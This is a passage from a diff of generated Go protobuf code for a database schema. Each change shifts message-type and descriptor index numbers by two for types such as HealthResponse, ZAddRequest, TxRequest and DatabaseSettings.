ProtoReflect() protoreflect.Message { // Deprecated: Use ServerInfoResponse.ProtoReflect.Descriptor instead. func (*ServerInfoResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{45} + return file_schema_proto_rawDescGZIP(), []int{47} } func (x *ServerInfoResponse) GetVersion() string { @@ -3295,7 +3437,7 @@ type HealthResponse struct { func (x *HealthResponse) Reset() { *x = HealthResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[46] + mi := &file_schema_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3308,7 +3450,7 @@ func (x *HealthResponse) String() string { func (*HealthResponse) ProtoMessage() {} func (x *HealthResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[46] + mi := &file_schema_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3321,7 +3463,7 @@ func (x *HealthResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use HealthResponse.ProtoReflect.Descriptor instead. func (*HealthResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{46} + return file_schema_proto_rawDescGZIP(), []int{48} } func (x *HealthResponse) GetStatus() bool { @@ -3352,7 +3494,7 @@ type DatabaseHealthResponse struct { func (x *DatabaseHealthResponse) Reset() { *x = DatabaseHealthResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[47] + mi := &file_schema_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3365,7 +3507,7 @@ func (x *DatabaseHealthResponse) String() string { func (*DatabaseHealthResponse) ProtoMessage() {} func (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[47] + mi := &file_schema_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3378,7 +3520,7 @@ func (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseHealthResponse.ProtoReflect.Descriptor instead. func (*DatabaseHealthResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{47} + return file_schema_proto_rawDescGZIP(), []int{49} } func (x *DatabaseHealthResponse) GetPendingRequests() uint32 { @@ -3417,7 +3559,7 @@ type ImmutableState struct { func (x *ImmutableState) Reset() { *x = ImmutableState{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[48] + mi := &file_schema_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3430,7 +3572,7 @@ func (x *ImmutableState) String() string { func (*ImmutableState) ProtoMessage() {} func (x *ImmutableState) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[48] + mi := &file_schema_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3443,7 +3585,7 @@ func (x *ImmutableState) ProtoReflect() protoreflect.Message { // Deprecated: Use ImmutableState.ProtoReflect.Descriptor instead. func (*ImmutableState) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{48} + return file_schema_proto_rawDescGZIP(), []int{50} } func (x *ImmutableState) GetDb() string { @@ -3511,7 +3653,7 @@ type ReferenceRequest struct { func (x *ReferenceRequest) Reset() { *x = ReferenceRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[49] + mi := &file_schema_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3524,7 +3666,7 @@ func (x *ReferenceRequest) String() string { func (*ReferenceRequest) ProtoMessage() {} func (x *ReferenceRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[49] + mi := &file_schema_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3537,7 +3679,7 @@ func (x *ReferenceRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ReferenceRequest.ProtoReflect.Descriptor instead. func (*ReferenceRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{49} + return file_schema_proto_rawDescGZIP(), []int{51} } func (x *ReferenceRequest) GetKey() []byte { @@ -3597,7 +3739,7 @@ type VerifiableReferenceRequest struct { func (x *VerifiableReferenceRequest) Reset() { *x = VerifiableReferenceRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[50] + mi := &file_schema_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3610,7 +3752,7 @@ func (x *VerifiableReferenceRequest) String() string { func (*VerifiableReferenceRequest) ProtoMessage() {} func (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[50] + mi := &file_schema_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3623,7 +3765,7 @@ func (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableReferenceRequest.ProtoReflect.Descriptor instead. func (*VerifiableReferenceRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{50} + return file_schema_proto_rawDescGZIP(), []int{52} } func (x *VerifiableReferenceRequest) GetReferenceRequest() *ReferenceRequest { @@ -3663,7 +3805,7 @@ type ZAddRequest struct { func (x *ZAddRequest) Reset() { *x = ZAddRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[51] + mi := &file_schema_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3676,7 +3818,7 @@ func (x *ZAddRequest) String() string { func (*ZAddRequest) ProtoMessage() {} func (x *ZAddRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[51] + mi := &file_schema_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3689,7 +3831,7 @@ func (x *ZAddRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ZAddRequest.ProtoReflect.Descriptor instead. func (*ZAddRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{51} + return file_schema_proto_rawDescGZIP(), []int{53} } func (x *ZAddRequest) GetSet() []byte { @@ -3746,7 +3888,7 @@ type Score struct { func (x *Score) Reset() { *x = Score{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[52] + mi := &file_schema_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3759,7 +3901,7 @@ func (x *Score) String() string { func (*Score) ProtoMessage() {} func (x *Score) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[52] + mi := &file_schema_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3772,7 +3914,7 @@ func (x *Score) ProtoReflect() protoreflect.Message { // Deprecated: Use Score.ProtoReflect.Descriptor instead. func (*Score) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{52} + return file_schema_proto_rawDescGZIP(), []int{54} } func (x *Score) GetScore() float64 { @@ -3819,7 +3961,7 @@ type ZScanRequest struct { func (x *ZScanRequest) Reset() { *x = ZScanRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[53] + mi := &file_schema_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3832,7 +3974,7 @@ func (x *ZScanRequest) String() string { func (*ZScanRequest) ProtoMessage() {} func (x *ZScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[53] + mi := &file_schema_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3845,7 +3987,7 @@ func (x *ZScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ZScanRequest.ProtoReflect.Descriptor instead. func (*ZScanRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{53} + return file_schema_proto_rawDescGZIP(), []int{55} } func (x *ZScanRequest) GetSet() []byte { @@ -3954,7 +4096,7 @@ type HistoryRequest struct { func (x *HistoryRequest) Reset() { *x = HistoryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[54] + mi := &file_schema_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3967,7 +4109,7 @@ func (x *HistoryRequest) String() string { func (*HistoryRequest) ProtoMessage() {} func (x *HistoryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[54] + mi := &file_schema_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3980,7 +4122,7 @@ func (x *HistoryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. func (*HistoryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{54} + return file_schema_proto_rawDescGZIP(), []int{56} } func (x *HistoryRequest) GetKey() []byte { @@ -4032,7 +4174,7 @@ type VerifiableZAddRequest struct { func (x *VerifiableZAddRequest) Reset() { *x = VerifiableZAddRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[55] + mi := &file_schema_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4045,7 +4187,7 @@ func (x *VerifiableZAddRequest) String() string { func (*VerifiableZAddRequest) ProtoMessage() {} func (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[55] + mi := &file_schema_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4058,7 +4200,7 @@ func (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableZAddRequest.ProtoReflect.Descriptor instead. func (*VerifiableZAddRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{55} + return file_schema_proto_rawDescGZIP(), []int{57} } func (x *VerifiableZAddRequest) GetZAddRequest() *ZAddRequest { @@ -4096,7 +4238,7 @@ type TxRequest struct { func (x *TxRequest) Reset() { *x = TxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[56] + mi := &file_schema_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4109,7 +4251,7 @@ func (x *TxRequest) String() string { func (*TxRequest) ProtoMessage() {} func (x *TxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[56] + mi := &file_schema_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4122,7 +4264,7 @@ func (x *TxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TxRequest.ProtoReflect.Descriptor instead. func (*TxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{56} + return file_schema_proto_rawDescGZIP(), []int{58} } func (x *TxRequest) GetTx() uint64 { @@ -4176,7 +4318,7 @@ type EntriesSpec struct { func (x *EntriesSpec) Reset() { *x = EntriesSpec{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[57] + mi := &file_schema_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4189,7 +4331,7 @@ func (x *EntriesSpec) String() string { func (*EntriesSpec) ProtoMessage() {} func (x *EntriesSpec) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[57] + mi := &file_schema_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4202,7 +4344,7 @@ func (x *EntriesSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use EntriesSpec.ProtoReflect.Descriptor instead. func (*EntriesSpec) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{57} + return file_schema_proto_rawDescGZIP(), []int{59} } func (x *EntriesSpec) GetKvEntriesSpec() *EntryTypeSpec { @@ -4238,7 +4380,7 @@ type EntryTypeSpec struct { func (x *EntryTypeSpec) Reset() { *x = EntryTypeSpec{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[58] + mi := &file_schema_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4251,7 +4393,7 @@ func (x *EntryTypeSpec) String() string { func (*EntryTypeSpec) ProtoMessage() {} func (x *EntryTypeSpec) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[58] + mi := &file_schema_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4264,7 +4406,7 @@ func (x *EntryTypeSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use EntryTypeSpec.ProtoReflect.Descriptor instead. func (*EntryTypeSpec) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{58} + return file_schema_proto_rawDescGZIP(), []int{60} } func (x *EntryTypeSpec) GetAction() EntryTypeAction { @@ -4298,7 +4440,7 @@ type VerifiableTxRequest struct { func (x *VerifiableTxRequest) Reset() { *x = VerifiableTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[59] + mi := &file_schema_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4311,7 +4453,7 @@ func (x *VerifiableTxRequest) String() string { func (*VerifiableTxRequest) ProtoMessage() {} func (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[59] + mi := &file_schema_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4324,7 +4466,7 @@ func (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableTxRequest.ProtoReflect.Descriptor instead. func (*VerifiableTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{59} + return file_schema_proto_rawDescGZIP(), []int{61} } func (x *VerifiableTxRequest) GetTx() uint64 { @@ -4392,7 +4534,7 @@ type TxScanRequest struct { func (x *TxScanRequest) Reset() { *x = TxScanRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[60] + mi := &file_schema_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4405,7 +4547,7 @@ func (x *TxScanRequest) String() string { func (*TxScanRequest) ProtoMessage() {} func (x *TxScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[60] + mi := &file_schema_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4418,7 +4560,7 @@ func (x *TxScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TxScanRequest.ProtoReflect.Descriptor instead. func (*TxScanRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{60} + return file_schema_proto_rawDescGZIP(), []int{62} } func (x *TxScanRequest) GetInitialTx() uint64 { @@ -4475,7 +4617,7 @@ type TxList struct { func (x *TxList) Reset() { *x = TxList{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[61] + mi := &file_schema_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4488,7 +4630,7 @@ func (x *TxList) String() string { func (*TxList) ProtoMessage() {} func (x *TxList) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[61] + mi := &file_schema_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4501,7 +4643,7 @@ func (x *TxList) ProtoReflect() protoreflect.Message { // Deprecated: Use TxList.ProtoReflect.Descriptor instead. func (*TxList) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{61} + return file_schema_proto_rawDescGZIP(), []int{63} } func (x *TxList) GetTxs() []*Tx { @@ -4529,7 +4671,7 @@ type ExportTxRequest struct { func (x *ExportTxRequest) Reset() { *x = ExportTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[62] + mi := &file_schema_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4542,7 +4684,7 @@ func (x *ExportTxRequest) String() string { func (*ExportTxRequest) ProtoMessage() {} func (x *ExportTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[62] + mi := &file_schema_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4555,7 +4697,7 @@ func (x *ExportTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ExportTxRequest.ProtoReflect.Descriptor instead. func (*ExportTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{62} + return file_schema_proto_rawDescGZIP(), []int{64} } func (x *ExportTxRequest) GetTx() uint64 { @@ -4601,7 +4743,7 @@ type ReplicaState struct { func (x *ReplicaState) Reset() { *x = ReplicaState{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[63] + mi := &file_schema_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4614,7 +4756,7 @@ func (x *ReplicaState) String() string { func (*ReplicaState) ProtoMessage() {} func (x *ReplicaState) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[63] + mi := &file_schema_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4627,7 +4769,7 @@ func (x *ReplicaState) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplicaState.ProtoReflect.Descriptor instead. func (*ReplicaState) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{63} + return file_schema_proto_rawDescGZIP(), []int{65} } func (x *ReplicaState) GetUUID() string { @@ -4677,7 +4819,7 @@ type Database struct { func (x *Database) Reset() { *x = Database{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[64] + mi := &file_schema_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4690,7 +4832,7 @@ func (x *Database) String() string { func (*Database) ProtoMessage() {} func (x *Database) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[64] + mi := &file_schema_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4703,7 +4845,7 @@ func (x *Database) ProtoReflect() protoreflect.Message { // Deprecated: Use Database.ProtoReflect.Descriptor instead. func (*Database) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{64} + return file_schema_proto_rawDescGZIP(), []int{66} } func (x *Database) GetDatabaseName() string { @@ -4747,7 +4889,7 @@ type DatabaseSettings struct { func (x *DatabaseSettings) Reset() { *x = DatabaseSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[65] + mi := &file_schema_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4760,7 +4902,7 @@ func (x *DatabaseSettings) String() string { func (*DatabaseSettings) ProtoMessage() {} func (x *DatabaseSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[65] + mi := &file_schema_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4773,7 +4915,7 @@ func (x *DatabaseSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettings.ProtoReflect.Descriptor instead. func (*DatabaseSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{65} + return file_schema_proto_rawDescGZIP(), []int{67} } func (x *DatabaseSettings) GetDatabaseName() string { @@ -4876,7 +5018,7 @@ type CreateDatabaseRequest struct { func (x *CreateDatabaseRequest) Reset() { *x = CreateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[66] + mi := &file_schema_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4889,7 +5031,7 @@ func (x *CreateDatabaseRequest) String() string { func (*CreateDatabaseRequest) ProtoMessage() {} func (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[66] + mi := &file_schema_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4902,7 +5044,7 @@ func (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateDatabaseRequest.ProtoReflect.Descriptor instead. func (*CreateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{66} + return file_schema_proto_rawDescGZIP(), []int{68} } func (x *CreateDatabaseRequest) GetName() string { @@ -4942,7 +5084,7 @@ type CreateDatabaseResponse struct { func (x *CreateDatabaseResponse) Reset() { *x = CreateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[67] + mi := &file_schema_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4955,7 +5097,7 @@ func (x *CreateDatabaseResponse) String() string { func (*CreateDatabaseResponse) ProtoMessage() {} func (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[67] + mi := &file_schema_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4968,7 +5110,7 @@ func (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateDatabaseResponse.ProtoReflect.Descriptor instead. func (*CreateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{67} + return file_schema_proto_rawDescGZIP(), []int{69} } func (x *CreateDatabaseResponse) GetName() string { @@ -5006,7 +5148,7 @@ type UpdateDatabaseRequest struct { func (x *UpdateDatabaseRequest) Reset() { *x = UpdateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[68] + mi := &file_schema_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5019,7 +5161,7 @@ func (x *UpdateDatabaseRequest) String() string { func (*UpdateDatabaseRequest) ProtoMessage() {} func (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[68] + mi := &file_schema_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5032,7 +5174,7 @@ func (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UpdateDatabaseRequest.ProtoReflect.Descriptor instead. func (*UpdateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{68} + return file_schema_proto_rawDescGZIP(), []int{70} } func (x *UpdateDatabaseRequest) GetDatabase() string { @@ -5064,7 +5206,7 @@ type UpdateDatabaseResponse struct { func (x *UpdateDatabaseResponse) Reset() { *x = UpdateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[69] + mi := &file_schema_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5077,7 +5219,7 @@ func (x *UpdateDatabaseResponse) String() string { func (*UpdateDatabaseResponse) ProtoMessage() {} func (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[69] + mi := &file_schema_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5090,7 +5232,7 @@ func (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use UpdateDatabaseResponse.ProtoReflect.Descriptor instead. func (*UpdateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{69} + return file_schema_proto_rawDescGZIP(), []int{71} } func (x *UpdateDatabaseResponse) GetDatabase() string { @@ -5116,7 +5258,7 @@ type DatabaseSettingsRequest struct { func (x *DatabaseSettingsRequest) Reset() { *x = DatabaseSettingsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[70] + mi := &file_schema_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5129,7 +5271,7 @@ func (x *DatabaseSettingsRequest) String() string { func (*DatabaseSettingsRequest) ProtoMessage() {} func (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[70] + mi := &file_schema_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5142,7 +5284,7 @@ func (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettingsRequest.ProtoReflect.Descriptor instead. func (*DatabaseSettingsRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{70} + return file_schema_proto_rawDescGZIP(), []int{72} } type DatabaseSettingsResponse struct { @@ -5159,7 +5301,7 @@ type DatabaseSettingsResponse struct { func (x *DatabaseSettingsResponse) Reset() { *x = DatabaseSettingsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[71] + mi := &file_schema_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5172,7 +5314,7 @@ func (x *DatabaseSettingsResponse) String() string { func (*DatabaseSettingsResponse) ProtoMessage() {} func (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[71] + mi := &file_schema_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5185,7 +5327,7 @@ func (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettingsResponse.ProtoReflect.Descriptor instead. func (*DatabaseSettingsResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{71} + return file_schema_proto_rawDescGZIP(), []int{73} } func (x *DatabaseSettingsResponse) GetDatabase() string { @@ -5213,7 +5355,7 @@ type NullableUint32 struct { func (x *NullableUint32) Reset() { *x = NullableUint32{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[72] + mi := &file_schema_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5226,7 +5368,7 @@ func (x *NullableUint32) String() string { func (*NullableUint32) ProtoMessage() {} func (x *NullableUint32) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[72] + mi := &file_schema_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := 